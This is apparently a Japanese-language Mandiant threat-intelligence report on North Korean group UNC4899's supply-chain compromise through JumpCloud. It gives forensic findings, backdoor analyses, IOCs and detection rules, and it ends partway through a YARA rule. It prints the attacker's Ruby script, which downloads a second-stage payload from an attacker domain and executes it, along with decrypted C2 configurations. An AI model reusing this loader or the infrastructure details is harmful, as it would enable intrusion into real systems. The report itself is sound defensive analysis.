Blog

北朝鮮の脅威グループ、サプライチェーン標的型攻撃でSaaSプロバイダーを活用

Austin Larsen, Dan Kelly, Joseph Pisano, Mark Golembiewski, Matt Williams, Paige Godvin
Jul 24, 2023
11 min read
|   Last update Jul 27, 2023
Threat Intelligence
Consulting
Incident Response
Supply Chain

2023 年 7 月、Mandiant コンサルティングは、米国に拠点を置くソフトウェア ソリューション事業者に被害を及ぼしたサプライ チェーン侵害に対応しました。最終的に、この侵害は、ID とアクセス管理に使用されるゼロトラスト ディレクトリ プラットフォーム サービスである JumpCloud を狙った高度なスピア フィッシング キャンペーンの結果として始まったと考えられます。 JumpCloud は、この不正アクセスの被害対象となったのは 5つ未満の組織、デバイスは 10 台未満であると報告しました。このブログで詳述されている内容は、JumpCloud への攻撃の被害を受けた組織の一つにおけるMandiant の調査に基づいています。

Mandiantは、これらの侵入は、これまでに仮想通貨関連企業を標的にした攻撃を行った経歴を持つ朝鮮民主主義人民共和国(DPRK)につながる攻撃者であるUNC4899によるものであると考えています。Mandiantは、UNC4899 が北朝鮮の偵察総局 (RGB) 内において暗号通貨に焦点を当てた組織であると高い確度を持って評価しています。信頼できるパートナーからの報告によれば、UNC4899 は TraderTraitor に相当すると考えられます。これは、主にブロックチェーン関連企業を標的とする、金銭目的の北朝鮮の脅威グループです。

サプライチェーン攻撃

2023 年 6 月 27 日の18:51:57 UTC 、Mandiant はサプライチェーンの下流に位置する顧客企業 (ソフトウェア ソリューション事業者)で JumpCloud エージェント経由で実行された悪意のある Ruby スクリプトを特定しました。 JumpCloud は、セキュリティ侵害を報告した際に、悪意のあるデータインジェクションにこのコマンド フレームワークが使用されたことを明らかにしています。このスクリプトの内容と機能については、以下の「バックドア ペイロード」セクションで説明します。

attack path
図 1: 攻撃経路

ホストアーティファクト

ファイル パス /private/var/log/jcagent.log にある JumpCloud エージェント ログ内で、侵害の証拠が観察されました。

Mandiant は、「Runworkflow」という名前のディレクティブがシステム上で実行をトリガーしたことを示す jcagent.log  のログエントリーを観察しました。

time=2023-06-27 18:51:57.415615-07:00 PID=82291 level=warning msg=Fallback Poll was required to handle the following directive: RunWorkflow

 

time=2023-06-27 18:51:57.416036-07:00 PID=82291 level=info msg=policies manager received a request to update workflow policies

 

time=2023-06-27 18:51:57.416145-07:00 PID=82291 level=info msg=removeWorkflowPolicies - Removing isExecuteOnGUILogin workflow policies

 

time=2023-06-27 18:51:57.416192-07:00 PID=82291 level=info msg=updateWorkflowPolicies - Adding all current workflow policies

 

time=2023-06-27 18:51:57.416238-07:00 PID=82291 level=info msg=Processing TypeScheduleCron

 

time=2023-06-27 18:51:57.416308-07:00 PID=82291 level=info msg=Policy manager creating schedule cron monitor ID=<ID>  name=Workflow schedule=immediate type=WORKFLOW

 

time=2023-06-27 18:51:57.416550-07:00 PID=82291 level=info msg=policies manager received a request to apply Workflow policy

調査中、Mandiant は攻撃者がバージョン 13.3 または 13.4.1 を実行している 4 台の OSX Ventura システムをターゲットにしていることを観察しました。これらのシステムのフォレンジック分析中に、Mandiantは、調査にとって非常に価値のある比較的新しいフォレンジック アーティファクトを特定しました。

このフォレンジック アーティファクトは、Apple の XProtect サービス、特に XProtect Behavioral Service に関連しています。現在、Apple によって定義されている行動ベースのルールは 5 つあります。これらのルールの 1 つ以上に違反する実行されたプログラムに関する情報は、/var/protected/xprotect/XPdb にある SQLite 3 形式で保存された XProtect データベース (XPdb) に記録されます。。現時点では、XProtect Behavioral Service が実行をブロックするように構成されていないようです。

XPdb に保存されたデータの分析を通じて、Mandiant は、攻撃者のペイロードに関連付けられた特定の署名識別子を含むエントリを特定しました。具体的には、XPdb 内の exec_signing_id フィールドには、バイナリの署名に関する情報が含まれており、これを使用して、特定の署名付きバイナリの作成者を識別することができます。 Mandiant は、悪意のあるファイルに関連する 3 つの固有の署名を特定しました。

  • mac-555549440ea0d64e96bb34428e08cc8d948b40e7
  • p-macos-55554944c2a6eb29a7bc3c73acdaa3e0a7a8d8c7
  • securityd-555549440fca1d2f1e613094b0c768d393f83d7f

Mandiant はこれらのシグネチャを使用して XPdb を検索し、攻撃者によって削除されたか、他の形式の分析では特定できなかった追加の攻撃者ペイロードを検索しました。

XPdb でさらに興味深いフィールドは、exec_cdhash でした。これには、実行されたバイナリの cdhash (コード ディレクトリ ハッシュ) が含まれています。 Mandiant は、XPdb に保存されている cdhash 値を使用して、複数のシステムにわたる悪意のあるバイナリの実行履歴を特定しました。 cdhash はアプリケーション内の実行可能コードに基づいて計算されるため、ファイルが脅威アクターによって削除され、サンプルのファイル ハッシュが異なっていたにもかかわらず、Mandiant は環境内の追加のマルウェアを特定できました。

XPdb 内のさらに重要なフィールドにはプレフィックス「responsible_」があり、動作ルールに違反したプロセスの親に関する情報が含まれていました。複数のシステム上で、マルウェアの XPdb エントリには JumpCloud エージェントの親プロセスが含まれており、脅威アクターが JumpCloud を利用して被害組織の環境への初期アクセスを取得したことのさらなる証拠となります。

攻撃者は、以前のペイロードをディスクから削除していることが一貫して観察されています。ただし、FSEvents アーティファクトは、以前にディスク上に存在していたファイルについての優れた洞察を提供してくれました。 FSEvent には、ファイル システムにこれらのファイルの存在を示すアーティファクトが含まれなくなった場合でも、ファイルの作成、変更、権限の変更、名前変更、および削除に関する詳細が含まれていました。 Mandiant は、個々のエントリに関連付けられた node_id フィールドを使用して、システム上での特定の攻撃者の活動の順序と、名前が変更されたファイルの更新された名前を特定できました。

次の表は、FSEvents から取得された関連データの例を示しています。

node_id

fullpath

Description

53789510

/Library/Ruby/Gems/2.6.0/extensions/init.rb

Ruby script

53789519

/usr/local/bin/com.docker.vmnat

FULLHOUSE.DOORED

53789522

/usr/local/bin/com.docker.vmnat.lock

Not recovered

54101444

/Library/Fonts/ArialUnicode.ttf.md5

STRATOFEAR (Config)

54102142

/Library/PrivilegedHelperTools/com.microsoft.teams.TeamsDaemon

STRATOFEAR

54102142

/Library/PrivilegedHelperTools/us.zoom.ZoomService

STRATOFEAR

54102303

/Library/LaunchDaemons/com.microsoft.teams.TeamsDaemon.plist

STRATOFEAR (LaunchDaemon)

54212385

/Library/LaunchDaemons/us.zoom.ZoomService.plist

STRATOFEAR (LaunchDaemon)

バックドアペイロード

初期アクセス

初期アクセスは、JumpCloud を侵害し、コマンド フレームワークに悪意のあるコードを挿入することによって取得されました。少なくとも 1 つの例では、悪意のあるコードは JumpCloud エージェント経由で実行される簡易な Ruby スクリプトでした。スクリプトには、第 2 段階のペイロードをダウンロードして実行するための命令が含まれていました。被害組織環境のシステムに最初にアクセスしてから 24 時間以内に、攻撃者は追加のバックドアを展開し、plist を介して永続性を確立しました。初期ペイロードと第 2 段階のバックドアはシステムから削除されました。

Ruby スクリプトと第 2 段階のペイロードのディレクトリの選択と命名規則は、攻撃者が正規のファイルとアプリケーションを装うことを重要な優先事項としていることを示しています。

Mandiant は、init.rb という名前の Ruby スクリプトを取得しました。 これは、複数のシステムにデプロイされたものです:

require 'open-uri'

ffn = '/usr/local/bin/com.docker.vmnat' 

File.open(ffn, 'wb') do |file|

file.write(open('hxxps://primerosauxiliosperu[.]com/lic.dat').read)

end

sleep(1)

File.chmod(0755, ffn)

fn = '/usr/local/bin/com.docker.vmnat.lock' 

File.open(fn, 'wb') do |file|

file.write(open('hxxps://primerosauxiliosperu[.]com/lic_bak.dat').read)

end

sleep(1)

system(ffn)

このスクリプトは、変数 ffn および fn で定義された場所に 2 つのファイルをダウンロードしますが、システム関数を介して実行されるのは最初のファイルのみです。 2 番目のファイルはホスト上で識別できませんでした。

FULLHOUSE.DOORED (com.docker.vmnat, npx-cli, us.zoom.ZoomUpdate)

攻撃者は、前述の Ruby スクリプトを使用して /usr/local/bin/com.docker.vmnat をダウンロードして実行したました。しかし、com.docker.vmnat はシステムから削除されました。幸いなことに、/private/var/db/oah ディレクトリにその実行時のアーティファクトが発見されました。

com.docker.vmnat は x86-64 システム用にコンパイルされている可能性が高いため、ターゲットのシステムで正常に実行するにはコードを ARM64 に変換する必要がありました。結果として、Apple の Rosetta 2 Translator が  oah ディレクトリの下にcom.docker.vmnat.aot ファイルを作成しました。このファイルには、翻訳された ARM64 コードと、元のcom.docker.vmnat.aot アプリケーションに存在するシンボルが含まれています。 これらのシンボルに基づいて、Mandiantは com.docker.vmnat.aot がFULLHOUSE.DOORED バックドアのバージョンであると、中程度の信頼性を持って評価しています。

FULLHOUSE.DOORED は、HTTP を使用して通信する C/C++ で書かれたバックドアです。これには、シェル コマンドの実行、ファイル転送、ファイル管理、プロセス インジェクションなどのバックドア コマンドのサポートに加えて、FULLHOUSE トンネラーの機能が組み込まれています。コマンド アンド コントロール (C2) サーバーは、コマンド ラインまたは構成ファイルから構成する必要があります。

さらに、正規のバイナリを偽装し、翻訳時に AOTファイルを生成する名前を持つ攻撃者バックドアもシステムじょうで確認されました。(例:npx-cli および npx-cli.aot

STRATOFEAR (com.google.kservice, us.zoom.ZoomService)

STRATOFEAR が被害環境のシステムにどのように展開されたかを正確に判断するためのフォレンジックの証拠は限られていました。ただし、いずれの場合も、STRATOFEAR の前に FULLHOUSE.DOORED が展開されました。分析されたシステムでは、システム上にバックドアが 1 つだけ残っていました。これは、攻撃者が第 2 段階のバックドアとして STRATOFEAR を展開する前に、第 1 段階のバックドアとして FULLHOUSE.DOORED を使用した可能性があることを示しています。

STRATOFEAR は、ローカル ファイルから復号化された C2 構成で指定されたプロトコルを使用して C2 サーバーと通信するモジュール式バックドアです。バックドアの主な機能には、追加モジュールの取得と実行が含まれます。モジュールはリモート サーバーからダウンロードすることも、ディスクからロードすることもできます。

STRATOFEAR には、2 つのファイル パスを含む埋め込み構成が含まれています。最初のパス (/Library/Fonts/ArialUnicode.ttf.md5) には、C2 サーバーを含むバックドアの完全な構成が保存されます。 2 番目のパス (/Library/Fonts/ArialUnicode.ttf.md5.1) は、以下で説明するモニター アクティビティに関連するログ情報を保存するために使用できます。

STRATOFEAR の 0x1052 バイトの復号化された構成の一部を以下に示します。

00000410  25 63 01 00 00 00 E8 03 00 00 03 00 00 00 02 00  %c....è.........

00000420  00 00 65 6D 62 65 64 3A 2F 2F 30 00 00 00 00 00  ..embed://0.....

00000430  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

00000440  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

00000450  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

00000460  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

00000470  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

00000480  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

00000490  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

000004A0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

000004B0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

000004C0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

000004D0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

000004E0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

000004F0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

00000500  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

00000510  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

00000520  00 00 00 00 00 00 70 73 73 6C 3A 2F 2F 63 6F 6E  ......pssl://con

00000530  74 6F 72 74 6F 6E 73 65 74 2E 63 6F 6D 3A 34 34  tortonset.com:44

00000540  33 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  3...............

00000550  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

00000560  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

00000570  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

00000580  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

00000590  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

000005A0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

000005B0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

000005C0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

000005D0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

000005E0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

000005F0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

00000600  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

00000610  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

00000620  00 00 00 00 00 00 00 00 00 00 70 73 73 6C 3A 2F  ..........pssl:/

00000630  2F 72 65 6C 79 73 75 64 64 65 6E 2E 63 6F 6D 3A  /relysudden.com:

00000640  34 34 33 00 00 00 00 00 00 00 00 00 00 00 00 00  443.............

STRATOFEAR は、オフセット 0x410  (0x16325) の 4 バイト値を uidとして参照します。オフセット 0x416 の 4 バイト値 (0x3e8 または10進数1000) はバックドアのバージョン番号です。 STRATOFEAR の構成ファイルには、AES-128 で暗号化されたモジュールが含まれる場合があります。しかし、発見されたサンプルではそうではありませんでした。

STRATOFEAR でサポートされるコマンドのサブセットを次の表に示します。

Command ID

Description

0x02

Start the primary module thread (see the following module command table)

0x07

Collect system information, module information, and configuration data

0x08

Read and decrypt the local configuration file

0x09

Write the in-memory configuration to the local configuration file

0x0A

Delete the local configuration file

0x0B

Get the path of the local configuration file

0x0C

Retrieve the in-memory configuration

コマンド0x07を使用して収集されるシステム情報には、システム名、現在のユーザー名、システムのアーキテクチャが含まれます。

STRATOFEAR は、次の表にリストされているモジュール関連のコマンドをサポートしています。

Command ID

Description

0x60

Not implemented

0x61

Retrieve module information: name, ID, version, memory address

0x62

Load module from memory or disk and execute its Initialize function

0x63

Invoke module by ID

0x64

Retrieve module execution result

0x65

Retrieve module start and end values

0x66

Change directory

ダウンロードされたモジュールは、$TMPDIR または /tmp ディレクトリ内の /tmp ファイルに書き込まれます。ファイル名は、ランダムに生成された 6 文字の英数字で構成されます。

STRATOFEAR のコードは、ID 値と内部名を持つ 5 つの定義済みモジュール タイプを参照します。

Module ID

Internal Name

1

module_ipc

2

module_monitor

3

module_apu

4

module_event

5

module_net

STRATOFEAR には、モジュールの場所を報告するための文字列も含まれています。指定可能な場所は、“Config”, “Static”, or “Path” のいずれかで、その後にファイルパスが続きます。

STRATOFEAR は、「モニター」と呼ばれるものを採用し、最大 16 スレッドを使用してシステム アクティビティを監視します。バックドアは 8 つの異なるモニターを参照し、1 つ (0x45)を除くすべてのモニターの説明が含まれています。

Monitor ID

Internal Description

0x42

"monitor for when file(%s) is created"

0x43

"monitor for when size of file(%s) is changed"

0x44

"monitor for when status of network connection(%s:%d => %s:%d) is created"

0x45

None. This monitor can test for a successful TCP connection to a given IP address or domain using a specified port.

0x46

"monitor for when process(%s) is created"

0x47

"monitor for when new device is mounted"

0x48

"monitor for when new session is activated"

0x49

"monitor for when it is waked up after %d minutes"

Mandiant は、STRATOFEAR の亜種の 1 つが、特定の共通名 (CN) を持つ自己署名証明書を含む ARM64 システム用にコンパイルされた Mach-O 実行可能ファイルであることを直接観察しました。Mandiantは、VirusTotal上で同じ自己署名証明書CNを持つ2番目のサンプルを確認しました。2 番目のサンプルは、VMProtect を使用して保護された Windows DLL で、2022 年 10 月 19 日に初めて VirusTotal に送信されました。Mandiant は、この DLL が STRATOFEAR の Windows バージョンであると中程度の信頼性を持って評価しています。

TIEDYE (xpc.protect)

TIEDYE が被害環境のシステムにどのように展開されたかを正確に特定するためのフォレンジックの証拠は限られていました。ただし、STRATOFEAR と同様に、TIEDYE も FULLHOUSE.DOORED によって第 2 段階のバックドアとして展開された可能性があります。

また、xpc.protect という名前の Mach-O 実行可能ファイルが特定され、TIEDYE バックドアの進化版であることが判明しました。 TIEDYE は、次に説明するさまざまなサポート対象プロトコルを使用して C2 サーバーと通信できます。その機能には、追加のペイロードの取得と実行、基本的なシステム情報の収集、シェル コマンドの実行が含まれます。

TIEDYE の生の構成の一部を以下に示します。

 

00000000  00 00 01 E3 00 0E 00 1E 00 00 00 04 00 03 00 20  ...ã........... 

00000010  00 10 56 E6 00 00 00 04 00 03 00 21 00 00 00 05  ..Væ.......!....

00000020  00 00 00 7D 00 0D 00 33 00 00 00 37 00 0E 00 00  ...}...3...7....

00000030  00 00 00 17 00 0C 00 34 73 73 6C 3A 2F 2F 62 61  .......4ssl://ba

00000040  73 6B 65 74 73 61 6C 75 74 65 2E 63 6F 6D 00 00  sketsalute.com..

00000050  00 00 04 00 03 00 35 00 00 00 00 00 00 00 04 00  ......5.........

00000060  03 00 36 00 00 00 00 00 00 00 36 00 0E 00 00 00  ..6.......6.....

00000070  00 00 16 00 0C 00 34 73 73 6C 3A 2F 2F 72 65 6E  ......4ssl://ren

00000080  74 65 64 70 75 73 68 79 2E 63 6F 6D 00 00 00 00  tedpushy.com....

00000090  04 00 03 00 35 00 00 00 00 00 00 00 04 00 03 00  ....5...........

000000A0  36 00 00 00 00 00 00 00 04 00 03 00 23 00 00 00  6...........#...

000000B0  0A 00 00 01 08 00 0D 00 24 00 00 00 24 00 0E 00  ........$...$...

000000C0  00 00 00 00 04 00 03 00 25 00 00 03 E8 00 00 00  ........%...è...

000000D0  04 00 03 00 26 00 00 00 00 00 00 00 04 00 03 00  ....&...........

000000E0  27 00 00 00 00 00 00 00 24 00 0E 00 00 00 00 00  '.......$.......

000000F0  04 00 03 00 25 00 00 03 E9 00 00 00 04 00 03 00  ....%...é.......

00000100  26 00 00 00 00 00 00 00 04 00 03 00 27 00 00 00  &...........'...

00000110  00 00 00 00 24 00 0E 00 00 00 00 00 04 00 03 00  ....$...........

00000120  25 00 00 03 EA 00 00 00 04 00 03 00 26 00 00 00  %...ê.......&...

00000130  00 00 00 00 04 00 03 00 27 00 00 00 00 00 00 00  ........'.......

00000140  24 00 0E 00 00 00 00 00 04 00 03 00 25 00 00 03  $...........%...

00000150  ED 00 00 00 04 00 03 00 26 00 00 00 00 00 00 00  í.......&.......

00000160  04 00 03 00 27 00 00 00 00 00 00 00 24 00 0E 00  ....'.......$...

00000170  00 00 00 00 04 00 03 00 25 00 00 00 00 00 00 00  ........%.......

00000180  04 00 03 00 26 00 00 00 00 00 00 00 04 00 03 00  ....&...........

00000190  27 00 00 00 00 00 00 00 24 00 0E 00 00 00 00 00  '.......$.......

000001A0  04 00 03 00 25 00 00 00 00 00 00 00 04 00 03 00  ....%...........

000001B0  26 00 00 00 00 00 00 00 04 00 03 00 27 00 00 00  &...........'...

000001C0  00 00 00 00 22 00 0C 00 37 2F 4C 69 62 72 61 72  ...."...7/Librar

000001D0  79 2F 43 61 63 68 65 73 2F 63 6F 6D 2E 61 70 70  y/Caches/com.app

000001E0  6C 65 2E 70 72 69 76 61 63 79 00 05 05 05 05 05  le.privacy......

この構成には、プロトコル ID がプレフィックスとして付けられた 2 つの C2 サーバーが含まれています。 TIEDYE は次のプロトコルをサポートしています:tcp, tcp6, udp, upd6, http, https, proxy_socks4, proxy_socks4a, pipe, ssl, ssl3rdp。構成の最後のファイル パスは、AES-128 を使用して暗号化された構成データを保存するために使用されます。

TIEDYE の以前のバージョンは、LaunchAgent を介して永続化するように構成されていました。現在のバージョンには、次のいずれかの場所に LaunchAgent を作成する機能が含まれていますが、永続化するようには構成されていません。

  • $HOME/Library/LaunchAgents/com.studentd.agent.plist
  • /Library/LaunchDaemons/com.studentd.agent.plist

TIEDYE は、TCP 経由でカスタム バイナリ プロトコルを介して通信する C++ で記述されたバックドアである RABBITHUNT と似ています。 RABBITHUNT のコア機能は、メモリに直接ダウンロードされるか、ローカル ファイルから読み取られるモジュールを通じて実装されます。モジュールによって追加される機能には、リバース シェル、ファイル転送、プロセスの作成、プロセスの終了などがあります。

北朝鮮による仮想通貨を標的とした攻撃

Mandiant は、UNC4899がMacOS のキーチェーンと幹部および社内セキュリティ チームに関連する偵察データを標的としていることを確認しました。

UNC4899の標的は、2023年7月に仮想通貨業界への関心を示した別のRGB連携グループであるAPT43と重複しており、特に米国、韓国、香港、シンガポールの複数のフィンテックおよび仮想通貨企業のさまざまな経営幹部をターゲットにしています。対象者の多くは、金融サービス、暗号通貨、ブロックチェーン、Web3 および関連事業に関連する組織で働いています。北朝鮮攻撃グループ間でのターゲット設定の重複とインフラの共有は、仮想通貨分野を継続的に標的とすることと計画的な関心を浮き彫りにしています。

運用セキュリティの失敗

Mandiant は、RGB ユニットが商用 VPN プロバイダーとともに L2TP IPsec トンネルを使用する一連のオペレーション リレー ボックス (ORB) を利用して、送信元アドレスを隠蔽していることを観察しました。これらのリレーは、RGB 傘下のユニット間で頻繁に共有されているようです。

Mandiant は、UNC4899 が最終ホップとしてさまざまな VPN プロバイダーを利用していることを観察しました。最も一般的なのは ExpressVPN ですが、NordVPN、TorGuard、その他多くのプロバイダーへの接続も観察されています。 DPRK の攻撃者がこのラスト ホップを使用しなかったり、被害組織のネットワーク上で操作を実行する際に誤ってこれを利用しなかったりすることが何度もありました。

RGB の攻撃者が使用する VPN攻撃 は時折失敗し、攻撃者の本当の発信元の IP アドレスが明らかになることがあります。 Mandiant は、DPRK の攻撃者 UNC4899 が 175.45.178[.]0/24 サブネットから攻撃者が制御する ORB に直接接続していることを観察しました。 (平壌市柳京洞)。さらに、北朝鮮の攻撃者がジャンプ ボックスの 1 つから平壌の IP に直接ログインしていることも観察されました。北朝鮮のネットブロックへの接続が短時間であったことから、これは OPSEC の不手際であったことが裏付けられました。図 2 は、このキャンペーンで使用されたネットワーク インフラストラクチャの概要を示しています。

 

UNC4899 Network Infrastructure
図 2: UNC4899 ネットワーク インフラストラクチャ

さらに、Mandiant は、PTR レコードが以前の操作から変更されていなかったという事実により、追加のインフラストラクチャを発見することができました。 Mandiant は以前、ドメイン wasxxv[.]site が北朝鮮の攻撃グループによって使用されていることを特定しました。さらに、IP アドレス 198.244.135[.]250 は、以前に特定されたドメインへの PTR レコードをまだ保持しながら、別の C2 ドメイン prontoposer[.]com に使用されています

アトリビューション

Mandiantは、この活動を北朝鮮の攻撃者とみられるUNC4899として追跡しています。私たちは、UNC4899 が RGB に該当する暗号通貨に焦点を当てたグループであると高い信頼性を持って評価しています。 UNC4899 の標的は選択的であり、JumpCloud を通じて被害組織のネットワークにアクセスすることが観察されています。Mandiantは、RGBに該当する複数の北朝鮮グループの重複を観察しています。これらのグループは一般に、目標に対するアクションを完了するためにインフラストラクチャを共有します。 Mandiant は、UNC2970、APT43、および UNC4899 がすべて同様のインフラストラクチャを利用していることを確認しています。

Mandiantは、過去 1 年間、北朝鮮の攻撃者による金銭目的の活動、特に暗号通貨業界に焦点を当てた活動が増加していることを観察しています。RGB と連携した暗号通貨に焦点を当てたグループは、Lazarus という包括的な名称で公に報告されており、オープンソースの「TraderTraitor」や「AppleJeus」など、過去に確立された APT 攻撃グループの明らかな亜種は、暗号通貨業界やさまざまなブロックチェーン プラットフォームに影響を与える金銭目的の攻撃活動をますます活発に実行しています。

 

見通しと影響

JumpCloudを標的としたキャンペーンと、今年初めに報告されたTrading Technologies X_TRADERアプリケーションと3CX Desktop Appソフトウェアに影響を与えたDPRKのサプライチェーン侵害は、川下の被害組織を侵害するためにサービス・プロバイダーにアクセスするためのこれらの作戦の連鎖的な効果を例証しています。両作戦とも、資金面で動機づけられたDPRKのアクターとの関係が疑われており、DPRKのオペレーターが、暗号通貨やフィンテック関連資産を標的とする取り組みの強化の一環として、特定のエンティティを標的とするサプライチェーンTTPを実施していることを示唆しています。Mandiantは、北朝鮮の暗号通貨部門が暗号通貨業界内の影響力の高い個人と彼らが使用するソフトウェアソリューションを標的とするために、MacOS マルウェアと機能の開発を継続するだろうと評価しています。

Mandiantは、北朝鮮のサイバー環境は、ツールの共有とターゲティングの取り組みとの合理的な連携へと進化していると評価しています。これらユニット内の攻撃者は、現在の焦点をすぐに変更し、ランサムウェア、兵器と核の標的化、暗号通貨の取り組みなど、無関係な別々の活動に取り組み始めます。北朝鮮による活動のこの「合理化」されたように見える活動は、しばしば防御側が悪意のある活動を追跡、特定、阻止することを困難にする一方で、攻撃側は相互に協力しながら活動することで、より密かに、より迅速に行動できるようになります。ターゲティングとツールの共有レベルから、RGB が主導しているサイバー環境の外でも変化が起こり続けていると Mandiant 氏は考えています。

 

謝 辞

ここにリストされている著者以外にも、Mandiantの多くの専門家が、DPRK関連の侵入に対応するために顧客と協力して継続的な努力と献身を続けてくれていることに感謝します。また、Googleの脅威分析グループ(TAG)、MandiantのDPRK Fusion Cell、そして継続的な協力と支援をしてくれた政府機関のパートナーにも特に感謝を述べたいと思います。

Indicators of Compromise (IOCs)

Network IOCs

 

IP Address

ASN

Netblock

Location

146.19.173.125

213373

IP Connect Inc

Seychelles

23.227.202.54

29802

HIVELOCITY, Inc.

Tampa, FL, US

38.132.124.88

9009

M247 Europe

Secaucus, NJ, US

88.119.174.148

61272

BaCloud

Lithuania

198.244.135.250

16276

OVH

United Kingdom (GB)

Domain

contortonset[.]com

relysudden[.]com

primerosauxiliosperu[.]com

rentedpushy[.]com

basketsalute[.]com

prontoposer[.]com

Endpoint IOCs

MD5

SHA256

Filename

Description

65baa3c1a22052fe1f70c9d2cbe11de4

a8b1c5eb2254e1a3cec397576ef42da038600b4fa7cd1ab66472d8012baabf17

init.rb

Ruby script launched via JumpCloud agent

155597a7985cb8f7a6e748e5e108f637

08607faad41009e31c094539b20b615b3e7a71e716f2bca12e4a097f38f14466

com.docker.vmnat.aot

FULLHOUSE.DOORED (AOT Translation)

N/A

5701d7bcf809d5ffc9061daeb24d3e7cc6585d9b42bacf94fc68a6c500542f8c

com.docker.vmnat

FULLHOUSE.DOORED

N/A

5701d7bcf809d5ffc9061daeb24d3e7cc6585d9b42bacf94fc68a6c500542f8c

Npx-cli

FULLHOUSE.DOORED

N/A

28c3d359364bf5d64a864f08d4743ea08e48017be27fda8cf53fb5ba307583b4

us.Zoom.ZoomUpdate

FULLHOUSE.DOORED

39a421ea89035ffcc3dea0cd0f10964e

e901d9279d8f2ad96d741e7cd92770c0ce3ff3f4c029dbf26177b4e09228fe66

ArialUnicode.ttf.md5

STRATOFEAR encrypted configuration 

N/A

N/A

com.google.keystone.agent.plist

STRATOFEAR LaunchDaemon

N/A

N/A

com.google.keystone.service.plist

STRATOFEAR LaunchDaemon

N/A

N/A

com.microsoft.teams.TeamsDaemon.plist

STRATOFEAR LaunchDaemon

27db0f17282a4c4507266f3c4d9c4527

88f23c22a7f9da8b5087a3fa9c76fd5c79903d89ceda4152943cadc0797cbcb8

us.zoom.ZoomService.plist

STRATOFEAR LaunchDaemon

6d8194c003d0025fa92fbcbf2eadb6d1

a90561efc22bdd777956cc67d5b67e3ec3c1b4f35a64f4328e40615d2ab24186

com.google.kservice

STRATOFEAR backdoor (Mach-O ARM64)

6d8194c003d0025fa92fbcbf2eadb6d1

a90561efc22bdd777956cc67d5b67e3ec3c1b4f35a64f4328e40615d2ab24186

com.microsoft.teams.TeamsDaemon

STRATOFEAR backdoor (Mach-O ARM64)

6d8194c003d0025fa92fbcbf2eadb6d1

a90561efc22bdd777956cc67d5b67e3ec3c1b4f35a64f4328e40615d2ab24186

us.zoom.ZoomService

STRATOFEAR backdoor (Mach-O ARM64)

48eaf2a7e97189709fb3789f0c662e1c

5d18443f88f38ad7e3de62ac46489f649b4e8183b76fba902fb9a9ccf8a0d5c8

com.apple.privacy

TIEDYE encrypted configuration

b0e0e0d258fcd55d3cc5af2b4669e014

9b1c1013ad8d2c0144af74eff5a2afc454b7b858bb7a5cba312bfb0f531c8930

com.xpc.agent.plist

TIEDYE LaunchDaemon

15bfe67e912f224faef9c7f6968279c6

6f1c47566a46d252885858f928a3b855fb3fd03941e3571d152562d0c75c4d47

xpc.protect

TIEDYE backdoor (Mach-O ARM64)

N/A

f0854a28209e07a70d7847af4b2632e697bcb95f2c8fcead41eb9314710bd0c2

xpc.protect

TIEDYE backdoor (Mach-O ARM64)

XPdb IOCs

Filename

exec_signing_id

exec_cdhash

us.zoom.ZoomUpdate

mac-555549440ea0d64e96bb34428e08cc8d948b40e7

e5d42bee74a1e1813e8aad9a46a5ebc219953926

npx-cli

mac-555549440ea0d64e96bb34428e08cc8d948b40e7

e5d42bee74a1e1813e8aad9a46a5ebc219953926

com.docker.vmnat

mac-555549440ea0d64e96bb34428e08cc8d948b40e7

e5d42bee74a1e1813e8aad9a46a5ebc219953926

com.google.kservice

p-macos-55554944c2a6eb29a7bc3c73acdaa3e0a7a8d8c7

ff975b95cfc65b6d19ca18993322cfeed282de04

xpc.protect

securityd-555549440fca1d2f1e613094b0c768d393f83d7f

c1fc3213bdb8f3139fd5d4b13e242441016c3c84

Detection Rules

YARA

M_APT_Backdoor_STRATOFEAR_1
{

    meta:
    
        author = "Mandiant"
        description = "Detects instances of STRATOFEAR"
        md5 = "6d8194c003d0025fa92fbcbf2eadb6d1"
        platform = "OSX, Win64"
        malware_family = "STRATOFEAR"

    strings:

        $str1 = "-alone" ascii
        $str2 = "-psn" ascii
        $str3 = "embed://" ascii
        $str4 =  "proc_data" ascii
        $str5 = "udp://" ascii
        $str6 =  "Path : %s" ascii
        $str7 = "127.0.0.1" ascii

    condition:
             ((uint32(0) == 0xBEBAFECA) or (uint32(0) == 0xFEEDFACE) or (uint32(0) == 0xFEEDFACF) or (uint32(0) == 0xCEFAEDFE)) and all of them

}
M_APT_Backdoor_TIEDYE_1 
{

    meta:

        author = "Mandiant"
        description = "Detects instances of TIEDYE"
        md5 = "15bfe67e912f224faef9c7f6968279c6"
        platforms = "OSX"
        malware_family = "TIEDYE"

    strings:

        $str1 = "%s/Library/LaunchAgents/com.%s.agent.plist" ascii
